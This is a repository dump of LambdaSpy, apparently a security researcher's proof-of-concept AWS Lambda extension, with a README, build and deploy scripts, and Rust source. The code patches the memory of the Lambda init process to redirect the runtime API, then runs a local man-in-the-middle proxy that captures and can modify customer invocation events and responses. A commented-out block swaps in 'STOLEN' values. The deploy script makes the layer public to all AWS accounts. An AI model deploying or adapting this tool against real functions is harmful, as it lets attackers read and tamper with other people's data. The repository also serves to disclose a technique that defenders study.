"ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 914 | 915 | [[package]] 916 | name = "winapi-util" 917 | version = "0.1.5" 918 | source = "registry+https://github.com/rust-lang/crates.io-index" 919 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 920 | dependencies = [ 921 | "winapi", 922 | ] 923 | 924 | [[package]] 925 | name = "winapi-x86_64-pc-windows-gnu" 926 | version = "0.4.0" 927 | source = "registry+https://github.com/rust-lang/crates.io-index" 928 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 929 | 930 | [[package]] 931 | name = "windows-sys" 932 | version = "0.42.0" 933 | source = "registry+https://github.com/rust-lang/crates.io-index" 934 | checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" 935 | dependencies = [ 936 | "windows_aarch64_gnullvm", 937 | "windows_aarch64_msvc", 938 | "windows_i686_gnu", 939 | "windows_i686_msvc", 940 | "windows_x86_64_gnu", 941 | "windows_x86_64_gnullvm", 942 | "windows_x86_64_msvc", 943 | ] 944 | 945 | [[package]] 946 | name = "windows_aarch64_gnullvm" 947 | version = "0.42.0" 948 | source = "registry+https://github.com/rust-lang/crates.io-index" 949 | checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e" 950 | 951 | [[package]] 952 | name = "windows_aarch64_msvc" 953 | version = "0.42.0" 954 | source = "registry+https://github.com/rust-lang/crates.io-index" 955 | checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4" 956 | 957 | [[package]] 958 | name = "windows_i686_gnu" 959 | version = "0.42.0" 960 | source = "registry+https://github.com/rust-lang/crates.io-index" 961 | checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7" 962 | 963 | [[package]] 964 | name = "windows_i686_msvc" 965 | version = "0.42.0" 966 | source = "registry+https://github.com/rust-lang/crates.io-index" 967 | checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246" 968 | 969 | [[package]] 970 | name = "windows_x86_64_gnu" 971 | version = "0.42.0" 972 | source = "registry+https://github.com/rust-lang/crates.io-index" 973 | checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed" 974 | 975 | [[package]] 976 | name = "windows_x86_64_gnullvm" 977 | version = "0.42.0" 978 | source = "registry+https://github.com/rust-lang/crates.io-index" 979 | checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028" 980 | 981 | [[package]] 982 | name = "windows_x86_64_msvc" 983 | version = "0.42.0" 984 | source = "registry+https://github.com/rust-lang/crates.io-index" 985 | checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5" 986 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "lambda-spy" 3 | version = "0.1.0" 4 | edition = "2021" 5 | authors = ["ClearVector"] 6 | readme = "README.md" 7 | license-file = "LICENSE" 8 | 9 | [profile.release] 10 | lto = true # Enable Link Time Optimization 11 | panic = 'abort' # Abort on panic 12 | strip = true # Strip symbols from binary* 13 | 14 | [dependencies] 15 | hyper = { version = "0.14.23", features = ["full"] } 16 | tokio = { version = "1.24.2", features = ["full"] } 17 | nix = { version = "0.26.2", features = ["uio"] } 18 | serde_json = "1.0.91" 19 | lambda-extension = "0.8.0" 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 ClearVector, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![LambdaSpy Logo Title](img/2022110801.cv.lambdaspy.png) 2 | 3 | # LambdaSpy 4 | 5 | LambdaSpy is a proof-of-concept AWS Lambda extension that demonstrates the technique discussed in [this post](https://www.clearvector.com/blog/lambda-spy/) to intercept and modify Lambda invocation events. Extensions written in native compiled languages are recommended so that they are compatible with all supported Lambda runtimes. When Lambda functions are invoked, they are passed data to operate on. By default, this Lambda event data is not exposed to external extensions. It is up to the Lambda function author to [expose event body](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html) data to external extensions. 6 | 7 | If an extension wants to access or modify these events, it needs to manipulate the Lambda runtime itself. 8 | 9 | Read more [here](https://www.clearvector.com/blog/lambda-spy/). 10 | 11 | --- 12 | 13 | ## Quick Start 14 | 15 | LambdaSpy can be built and deployed as a Lambda extension using the provided `build.sh` and `deploy.sh` scripts respectively. The Rust package manager cargo is required to build it as well as the cargo subcommand [cargo-lambda](https://github.com/cargo-lambda/cargo-lambda). Note: your aws credentials will have to be configured for deployment within AWS. In addition, by default, the extension will be deployed as publicly available to anyone who knows the ARN of the Lambda Layer. 16 | 17 | First, the Lambda extension can to be compiled using the `build.sh` script. This will compile the Lambda extension for both AMD64 and ARM64 architectures, and create a ZIP archive that can be deployed directly into AWS Lambda as a Layer package. 18 | 19 | ```console 20 | cd 21 | ./build.sh 22 | ``` 23 | 24 | The generated ZIP archive will be located at `/target/lambda/extensions/lambda-spy.zip`. Note: in the following examples, the [AWS CLI version 2](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html) is required. It can be deployed manually using the AWS CLI's [publish-layer-version](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/publish-layer-version.html) command: 25 | 26 | ```console 27 | aws --profile lambda publish-layer-version \ 28 | --layer-name lambda-spy \ 29 | --license-info "MIT" \ 30 | --zip-file "fileb://./target/lambda/extensions/lambda-spy.zip" \ 31 | --compatible-runtimes provided.al2 \ 32 | --compatible-architectures x86_64 arm64 33 | ``` 34 | 35 | Permission to the layer then must be configured in order for Lambdas in other AWS accounts to deploy within their environments. This can be done using the AWS CLI [add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html) command: 36 | 37 | ```console 38 | aws --profile lambda add-layer-version-permission \ 39 | --layer-name lambda-spy \ 40 | --statement-id public \ 41 | --action lambda:GetLayerVersion \ 42 | --principal "*" --region \ 43 | --version-number 44 | ``` 45 | 46 | These steps are also included for convenience in the provided `deploy.sh` script: 47 | ```console 48 | ./deploy.sh -p -r 49 | ``` 50 | 51 | Once deployed, the ARN of the layer can then be attached to any AWS account that has access to add layers either via the API or console. 52 | 53 | --- 54 | 55 | ## Lambda Runtime 56 | 57 | Rapid is responsible for brokering communication between customer runtime code and core AWS services. Rapid is written in Go and is partially open source as part of the AWS Lambda emulation project. 58 | 59 | Runtimes communicate with the Rapid process through a local HTTP server (Rapid API), served from Rapid itself, as a form of Local Inter-Process Communication (LPC). The host and port for this server is defined by a reserved environment variable named AWS_LAMBDA_RUNTIME_API and typically is set to “http://127.0.0.1:9001”. Runtimes receive new Lambda invocation events by sending requests to the Rapid API. Once events are processed, runtimes are expected to post an HTTP response to this same endpoint. Rapid exposes multiple HTTP endpoints that allow runtimes and extensions to receive events and send responses. The table below shows some of the HTTP endpoints for the Rapid API. 60 | 61 | Read more about Lambda internals [here](https://www.clearvector.com/blog/lambda-internals/). 62 | 63 | 64 | | Endpoint | Description | 65 | | ----------- | ----------- | 66 | | /2018-06-01/runtime/invocation/next | Returns the raw event payload used in the Lambda invocation. | 67 | | /2020-01-01/extension/event/next | Gets the next Lambda extension event. | 68 | | /2018-06-01/runtime/invocation/{awsrequestid}/response | Posts the return value from the Lambda function handler. | 69 | | /2018-06-01/runtime/invocation/{awsrequestid}/error | Used by the runtime to report errors during execution. | 70 | | /2020-01-01/extension/register | Used by extensions to register themselves for extension events (INIT, INVOKE, SHUTDOWN). | 71 | | /2020-01-01/extension/init/error | Extensions report errors during init here. | 72 | | /2020-01-01/extension/exit/error | Extensions report errors during exit here. | 73 | | /2020-08-15/logs | Extensions use this endpoint to subscribe to the runtime log stream for additional processing. | 74 | 75 | --- 76 | 77 | ## Intercepting the Runtime 78 | 79 | As mentioned above, the AWS_LAMBDA_RUNTIME_API defines the default HTTP host and port number where the API endpoint resides. Some environment variables including this one, are protected from modification at the AWS API level. Trying to add or modify a variable with this name will result in an access denied error. Once the Lambda is executing however, these variables function as they would in any other Linux environment. If another piece of code can modify them in memory, it should be possible to gain full control of the data flowing in and out of a Lambda function. 80 | 81 | As discussed in the [post](https://www.clearvector.com/blog/lambda-spy/), the Linux kernel currently deployed within the Lambda runtime is compiled with the process_vm_writev and process_vm_readv system calls. These system calls allow processes to fully access the virtual address space of other processes running under the same user id. 82 | 83 | The init process that executes within Lambda is the parent of every other process within the Lambda environment. This includes the runtime process that executes the AWS customer's function code as well as any other extenstions that are deployed. Since LambdaSpy is deployed as an external [Lambda extension](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html) we are executed before any Lambda function code is allowed to execute. This gives us the ability to overwrite the AWS_LAMBDA_RUNTIME_API environment variable within the init process's memory. We can then change this to point to a TCP port we control on a local HTTP server. 84 | 85 | By running a local web server, this allows us to MITM event data and responses that are sent within the Lambda environment. This is illustrated below: 86 | 87 | ![MITM](img/2022110801.rapid.mitm.png) 88 | 89 | --- 90 | 91 | ## Supported Runtimes 92 | 93 | The following runtimes have been tested: 94 | 95 | * .Net 6 96 | * Java 11 97 | * Node.js 16.x 98 | * Python 3.9 99 | * Ruby 2.7 100 | -------------------------------------------------------------------------------- /bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Main bootstrap shell script to execute the main extension binary 4 | BASENAME="$(basename $0 .sh)" 5 | 6 | set -euo pipefail 7 | 8 | if [[ $(uname -a) == *"aarch64"* ]]; then 9 | BIN="/opt/$BASENAME/arm64/$BASENAME" 10 | else 11 | BIN="/opt/$BASENAME/x86_64/$BASENAME" 12 | fi 13 | 14 | echo "Launching $BIN" 15 | exec $BIN -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | BASENAME="$(basename $(pwd))" 4 | EXT_DIR="./build/extensions" 5 | BIN_DIR="./build/${BASENAME}" 6 | 7 | 8 | if [ ! -d ${EXT_DIR} ] 9 | then 10 | mkdir -p ${EXT_DIR} 11 | fi 12 | if [ ! -d ${BIN_DIR} ] 13 | then 14 | mkdir -p ${BIN_DIR} 15 | fi 16 | 17 | mkdir "${BIN_DIR}/x86_64" 18 | mkdir "${BIN_DIR}/arm64" 19 | 20 | cp "bootstrap.sh" "${EXT_DIR}/${BASENAME}" 21 | cargo lambda build --target x86_64-unknown-linux-musl --release --extension 22 | mv "./target/lambda/extensions/lambda-spy" "${BIN_DIR}/x86_64/${BASENAME}" 23 | cargo lambda build --target aarch64-unknown-linux-musl --release --extension 24 | mv "./target/lambda/extensions/lambda-spy" "${BIN_DIR}/arm64/${BASENAME}" 25 | 26 | rm "./target/lambda/extensions/${BASENAME}.zip" 27 | cd "${EXT_DIR}/.." 28 | zip -r "../target/lambda/extensions/${BASENAME}.zip" . 29 | -------------------------------------------------------------------------------- /deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | usage() { echo "Usage: $0 [-p ] [-r ]" 1>&2; exit 1; } 4 | 5 | while getopts ":p:r:" o; do 6 | case "${o}" in 7 | p) 8 | p=${OPTARG} 9 | AWS_PROFILE="${p}" 10 | ;; 11 | r) 12 | r=${OPTARG} 13 | AWS_REGION="${r}" 14 | ;; 15 | *) 16 | usage 17 | ;; 18 | esac 19 | done 20 | shift $((OPTIND-1)) 21 | 22 | if [ -z "${AWS_PROFILE}" ]; then 23 | echo "No AWS profile supplied" 24 | usage 25 | fi 26 | 27 | if [ -z "${AWS_REGION}" ]; then 28 | echo "No AWS region supplied" 29 | usage 30 | fi 31 | 32 | BASENAME="$(basename $(pwd))" 33 | 34 | # Create the layer to host the extension 35 | LAYER_VER=\ 36 | $(aws --profile $AWS_PROFILE lambda publish-layer-version \ 37 | --layer-name $BASENAME \ 38 | --license-info "MIT" \ 39 | --zip-file "fileb://./target/lambda/extensions/$BASENAME.zip" \ 40 | --compatible-runtimes provided.al2 \ 41 | --compatible-architectures x86_64 arm64 | tr -d \" | grep -Eo "Version: [0-9]+" | grep -Eo "[0-9]+") 42 | 43 | # Add the new layer version permissions (currently this makes it available to all AWS accounts) 44 | aws --profile $AWS_PROFILE lambda add-layer-version-permission --layer-name lambda-spy --statement-id public --action lambda:GetLayerVersion --principal "*" --region $AWS_REGION --version-number $LAYER_VER -------------------------------------------------------------------------------- /img/2022110801.cv.lambdaspy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clearvector/lambda-spy/6c0ffef7156ad75c125985f7e144d7e0ff1ff404/img/2022110801.cv.lambdaspy.png -------------------------------------------------------------------------------- /img/2022110801.rapid.mitm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/clearvector/lambda-spy/6c0ffef7156ad75c125985f7e144d7e0ff1ff404/img/2022110801.rapid.mitm.png -------------------------------------------------------------------------------- /src/cverror.rs: -------------------------------------------------------------------------------- 1 | use std::error; 2 | 3 | pub type CvResult = std::result::Result>; 4 | pub type MemResult = std::result::Result>; 5 | pub type NetResult = std::result::Result>; 6 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod cverror; 2 | use cverror::CvResult; 3 | 4 | mod mem; 5 | use mem::{ 6 | get_proc_maps, 7 | memmem, 8 | proc_read_vm, 9 | proc_write_vm 10 | }; 11 | 12 | mod net; 13 | use net:: { 14 | start_api_svr 15 | }; 16 | 17 | // Lambda includes 18 | use lambda_extension::{service_fn, Error, LambdaEvent, NextEvent}; 19 | 20 | // PID 1 will be rapid since it is the Init process 21 | const TARGET_PID: i32 = 1; 22 | // Environment variable we will snipe out of rapid's heap 23 | const TARGET_ENV_VAR: &[u8] = b"127.0.0.1:9001"; 24 | const NEW_ENV_VAR: &[u8] = b"127.0.0.1:8888"; 25 | 26 | 27 | async fn ls_ext(event: LambdaEvent) -> Result<(), Error> { 28 | match event.next { 29 | NextEvent::Shutdown(_e) => { 30 | // TODO: Cleanly exit on shutdown event 31 | } 32 | NextEvent::Invoke(_e) => { 33 | } 34 | } 35 | Ok(()) 36 | } 37 | 38 | /// Overwrite the target environment variable from the init process to 39 | /// control child processes that spawn 40 | fn patch_rapid() -> CvResult<()>{ 41 | 42 | // Default to the base address used by rapid on amd64 43 | // Currently rapid uses the same base addresses across all runtime envs 44 | // This may change in the future - patches accepted to make this dynamic if needed 45 | let mut heap_base = 0xc000000000; 46 | // This address will be different for ARM64 47 | if cfg!(target_arch = "aarch64") { 48 | heap_base = 0x4000000000; 49 | } 50 | 51 | let maps = get_proc_maps(1)?; 52 | let mut writes = 0; 53 | for mm in maps { 54 | if mm.start != heap_base { 55 | continue; 56 | } 57 | 58 | // Allocate a heap buffer to reuse to scan memory 59 | let step: usize = 0x10000; 60 | let mut lbuf = vec![0; step]; 61 | let size = lbuf.len(); 62 | let needle = TARGET_ENV_VAR; 63 | 64 | let rng = std::ops::Range { start: mm.start, end: mm.end }; 65 | for chunk in rng.step_by(step) { 66 | let rrv = proc_read_vm(TARGET_PID, chunk, &mut lbuf, size)?; 67 | if rrv == 0 { 68 | return Err("Failed to read rapid memory".into()); 69 | } 70 | // Find the target environment variable 71 | let hit = memmem(&lbuf, needle).unwrap_or(usize::MAX); 72 | if hit == usize::MAX { 73 | continue; 74 | } 75 | 76 | let tgt = chunk + hit; 77 | println!("Found target env var at: 0x{:x}", tgt); 78 | 79 | // Patch it 80 | let wrv = proc_write_vm(TARGET_PID, tgt, 81 | NEW_ENV_VAR, NEW_ENV_VAR.len())?; 82 | if wrv == 0 { 83 | return Err("Failed to write rapid memory".into()); 84 | } 85 | println!("Wrote {} bytes to 0x{:x}", wrv, tgt); 86 | writes += 1; 87 | } 88 | break; 89 | } 90 | 91 | if writes == 0 { 92 | return Err("Failed to patch rapids memory".into()); 93 | } 94 | 95 | println!("Patched {} instances", writes); 96 | 97 | Ok(()) 98 | } 99 | 100 | #[tokio::main] 101 | async fn main() -> Result<(), Error> { 102 | 103 | patch_rapid().unwrap(); 104 | 105 | // Start the proxy server used to capture all event activity within 106 | // the Lambda environment 107 | tokio::spawn(async move { 108 | start_api_svr(8888).await; 109 | }); 110 | 111 | // Start the Lambda service boilerplate code 112 | let func = service_fn(ls_ext); 113 | lambda_extension::run(func).await 114 | 115 | } 116 | -------------------------------------------------------------------------------- /src/mem.rs: -------------------------------------------------------------------------------- 1 | 2 | use std::{ 3 | fs::File, 4 | io::{ 5 | prelude::*, BufReader, IoSlice, IoSliceMut 6 | } 7 | }; 8 | 9 | use crate::cverror::MemResult; 10 | 11 | use nix::{unistd::Pid}; 12 | use nix::sys::uio::{ 13 | RemoteIoVec, 14 | process_vm_readv, 15 | process_vm_writev 16 | }; 17 | 18 | pub type Addr = usize; 19 | 20 | /// Struct used to describe each line item in linux /proc//maps file 21 | #[derive(Debug)] 22 | pub struct MemMap { 23 | pub start: Addr, 24 | pub end: Addr, 25 | pub perms: String, 26 | pub offset: u64, 27 | pub dev: String, 28 | pub inode: u64, 29 | pub path: String 30 | } 31 | 32 | 33 | impl MemMap { 34 | 35 | pub fn parse_maps(fpath: String) -> MemResult> { 36 | let file = File::open(fpath) 37 | .expect("Failed to read process mmap file"); 38 | 39 | let reader = BufReader::new(file); 40 | 41 | let mut maps = Vec::::new(); 42 | 43 | for line in reader.lines() { 44 | let lref = line?; 45 | 46 | let mm = MemMap::parse_line(lref)?; 47 | 48 | maps.push(mm); 49 | } 50 | 51 | Ok(maps) 52 | } 53 | 54 | pub fn parse_line(line: String) -> MemResult { 55 | let minfo = line.split_whitespace().collect::>(); 56 | println!("{:?}", minfo); 57 | let (arng, perm, off, dv, inod) = 58 | (minfo[0], 59 | String::from(minfo[1]), 60 | u64::from_str_radix(minfo[2], 16)?, 61 | String::from(minfo[3]), 62 | u64::from_str_radix(minfo[4], 16)?); 63 | 64 | // Paths are optional 65 | let mname = if minfo.len() == 6 { 66 | String::from(minfo[5]) 67 | } else { 68 | String::from("") 69 | }; 70 | 71 | let m = arng.split('-').collect::>(); 72 | let (lwr, upr) = (usize::from_str_radix(m[0], 16)?, 73 | usize::from_str_radix(m[1], 16)?); 74 | 75 | Ok( 76 | Self { 77 | start: lwr, 78 | end: upr, 79 | perms: perm, 80 | offset: off, 81 | dev: dv, 82 | inode: inod, 83 | path: mname 84 | }) 85 | } 86 | } 87 | 88 | /// Find a byte sequence within a memory buffer 89 | /// this can likely be heavily optimized, but works for now 90 | pub fn memmem(haystack: &[u8], needle: &[u8]) -> Option { 91 | haystack.windows(needle.len()).position(|win| win == needle) 92 | } 93 | 94 | /// Read in the memory maps for a process 95 | pub fn get_proc_maps(pid: u32) -> MemResult> { 96 | 97 | let maps = MemMap::parse_maps(format!("/proc/{}/maps", pid))?; 98 | Ok(maps) 99 | } 100 | 101 | /// Read remote memory from a process 102 | pub fn proc_read_vm(rpid: i32, addr: Addr, buf: &mut[u8], size: usize) -> MemResult{ 103 | 104 | let mut lmeml = [IoSliceMut::new(buf), ]; 105 | 106 | let rmem = RemoteIoVec { 107 | base: addr, 108 | len: size 109 | }; 110 | 111 | let rmeml = [rmem, ]; 112 | let p = Pid::from_raw(rpid); 113 | let rb = process_vm_readv(p, &mut lmeml, &rmeml).unwrap(); 114 | 115 | Ok(rb) 116 | } 117 | 118 | /// Modify memory in a remote process 119 | pub fn proc_write_vm(rpid: i32, addr: Addr, buf: &[u8], size: usize) -> MemResult{ 120 | 121 | let lmem = [IoSlice::new(buf), ]; 122 | 123 | let rmem = RemoteIoVec { 124 | base: addr, 125 | len: size 126 | }; 127 | 128 | let rmem = [rmem, ]; 129 | let p = Pid::from_raw(rpid); 130 | let rb = process_vm_writev(p, &lmem, &rmem).unwrap(); 131 | 132 | Ok(rb) 133 | } -------------------------------------------------------------------------------- /src/net.rs: -------------------------------------------------------------------------------- 1 | 2 | use std::str::FromStr; 3 | use std::{ 4 | convert::Infallible, 5 | net::SocketAddr 6 | }; 7 | 8 | use crate::cverror::{NetResult}; 9 | 10 | use hyper::{Body, Request, Response, Client, Uri, Server}; 11 | use hyper::service::{make_service_fn, service_fn}; 12 | use hyper::{Method}; 13 | use hyper::header::{ 14 | HeaderValue, 15 | HOST 16 | }; 17 | use hyper::body; 18 | 19 | use serde_json::{Value}; 20 | 21 | 22 | // At the time of writing this, rapid will always listen on this IP and port 23 | const RAPID_HOST: &str = "127.0.0.1:9001"; 24 | 25 | async fn send_req(mut req: Request) -> NetResult> { 26 | 27 | req.headers_mut().insert(HOST, HeaderValue::from_static(RAPID_HOST)); 28 | 29 | let req_uri = { 30 | format!( 31 | "http://{}{}", 32 | RAPID_HOST, 33 | req.uri().path() 34 | ) 35 | }; 36 | 37 | *req.uri_mut() = Uri::from_str(req_uri.as_str()).unwrap(); 38 | 39 | let client = Client::new(); 40 | let resp = client.request(req).await?; 41 | 42 | Ok(resp) 43 | } 44 | 45 | /// Start a MITM API server to intercept requests/responses from 46 | /// the Rapid init process 47 | pub async fn start_api_svr(port: u16) { 48 | let addr = SocketAddr::from(([127, 0, 0, 1], port)); 49 | 50 | // A `Service` is needed for every connection, so this 51 | // creates one from our `rapid_proxy` function. 52 | let make_svc = make_service_fn(|_conn| async { 53 | // service_fn converts our function into a `Service` 54 | Ok::<_, Infallible>(service_fn(rapid_proxy)) 55 | }); 56 | 57 | let server = Server::bind(&addr).serve(make_svc); 58 | 59 | if let Err(e) = server.await { 60 | eprintln!("server error: {}", e); 61 | } 62 | } 63 | 64 | /// Intercept requests for new invocation events as well as extension events 65 | /// The raw body containing the customer specific data can then be modified or inspected 66 | async fn hook_next(req: Request, is_evt: bool) -> NetResult> { 67 | let (parts, body) = send_req(req).await.unwrap().into_parts(); 68 | let data = body::to_bytes(body).await.unwrap(); 69 | 70 | let evt_json: Value = serde_json::from_slice(&data[..])?; 71 | 72 | if is_evt { 73 | // For now, just print the captured event 74 | println!("Captured Invoke Headers: {:#?}", parts.headers); 75 | println!("Captured Invoke Data: {}", serde_json::to_string_pretty(&evt_json)?); 76 | } else { 77 | println!("Captured Extension Headers: {:#?}", parts.headers); 78 | println!("Captured Invoke Data: {}", serde_json::to_string_pretty(&evt_json)?); 79 | } 80 | 81 | // // The Lambda event object can easily be modified here 82 | // let new_body = json!( 83 | // { 84 | // "STOLEN1":"VAL1", 85 | // "STOLEN2":"VAL2", 86 | // "STOLEN3":"VAL3", 87 | // } 88 | // ); 89 | // let body_len = format!("{}", new_body.to_string().len()); 90 | // parts.headers.insert("content-length", HeaderValue::from_str(body_len.as_str())?); 91 | // let resp = Response::from_parts(parts, Body::from(new_body.to_string())); 92 | 93 | let resp = Response::from_parts(parts, Body::from(data)); 94 | 95 | Ok(resp) 96 | } 97 | 98 | /// Intercept responses sent by the customer Lambda code 99 | /// This can be altered before sending back to the rapid api server 100 | async fn hook_response(req: Request) -> NetResult> { 101 | 102 | let (parts, body) = req.into_parts(); 103 | 104 | let hdr = parts.headers.clone(); 105 | let data = body::to_bytes(body).await.unwrap(); 106 | 107 | // The Lambda response object can be modified here 108 | 109 | // For now, just print the captured response 110 | println!("Captured Resp Headers: {:?}", hdr); 111 | println!("Captured Resp Event: {:?}", data); 112 | 113 | let newreq = Request::from_parts(parts, Body::from(data)); 114 | 115 | let resp = send_req(newreq).await.unwrap(); 116 | Ok(resp) 117 | } 118 | 119 | /// Proxy all rapid API HTTP requests so they can be inspected or modified 120 | async fn rapid_proxy(req: Request) -> Result, Infallible> { 121 | 122 | let path = req.uri().path(); 123 | 124 | match req.method() { 125 | &Method::GET => { 126 | match path { 127 | // Capture runtime invocation events 128 | "/2018-06-01/runtime/invocation/next" => { 129 | let resp = hook_next(req, true).await.unwrap(); 130 | return Ok(resp); 131 | } 132 | // Capture extension notification events 133 | "/2020-01-01/extension/event/next" => { 134 | let resp = hook_next(req, false).await.unwrap(); 135 | return Ok(resp); 136 | } 137 | _default => { 138 | // If this URI is unknown, just pass the request along to rapid 139 | } 140 | } 141 | } 142 | &Method::POST => { 143 | // Runtime is sending us a completion response 144 | if path.starts_with("/2018-06-01/runtime/invocation/") && path.ends_with("/response") { 145 | let resp = hook_response(req).await.unwrap(); 146 | return Ok(resp); 147 | } 148 | // TODO: Hook error events? 149 | } 150 | _default => { 151 | // Just pass the request along to rapid 152 | } 153 | }; 154 | 155 | // Send the request to the rapid init process 156 | let resp = send_req(req).await.unwrap(); 157 | 158 | Ok(resp) 159 | } 160 | --------------------------------------------------------------------------------